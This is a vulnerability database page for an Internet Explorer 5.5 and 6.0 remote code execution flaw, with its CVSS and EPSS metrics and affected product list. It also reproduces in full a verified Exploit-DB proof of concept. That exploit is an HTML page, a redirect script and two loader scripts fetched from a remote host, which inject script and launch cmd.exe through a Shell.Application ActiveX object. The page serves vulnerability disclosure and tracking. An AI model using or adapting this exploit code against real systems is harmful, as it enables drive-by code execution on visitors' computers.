Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Microsoft Windows Internet Explorer 5.5 and 6.0 allows remote attackers to execute arbitrary code via an embedded script that uses Shell Helper objects and a shortcut (link) to execute the target script.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 310
Publication date : 2004-07-08 22h00 +00:00
Author : Jelmer
EDB Verified : Yes
<html>
<body>
<script language="Javascript">
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;
dialogWidth:1\;").location="vbscript:\"<SCRIPT SRC='http://ip/shellscript_loader.js'><\/script>\"";
}
</script>
<script language="javascript">
setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp" style=display:none;></IFRAME>');
</script>
</body>
</html>
--------------------------------------------------------- md.htm ---------------------------------------------------------
<SCRIPT language="javascript">
window.returnValue = window.dialogArguments;
function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}
CheckStatus();
</SCRIPT>
--------------------------------------------------- shellscript_loader.js ---------------------------------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://ip/shellscript.js'><\/SCRIPT>");
}
document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);
------------------------------------------------------- shellscript.js -------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language=
"JScript" DEFER>var obj=new ActiveXObject("Shell.Application");obj.ShellExecute("cmd.exe","/c pause");</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
--------------------------------------------------------- redir.jsp ----------------------------------------------------------
<% Thread.sleep(1500);
response.setStatus(302);
response.setHeader("Location", "URL:res://shdoclc.dll/HTTP_501.htm");
%>
# milw0rm.com [2004-07-09]
Products Mentioned
Configuraton 0
Microsoft>>Ie >> Version 6.0
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 5.5
- Microsoft>>Internet_explorer >> Version 5.5 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 6.0
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 6.0 (Open CPE detail)
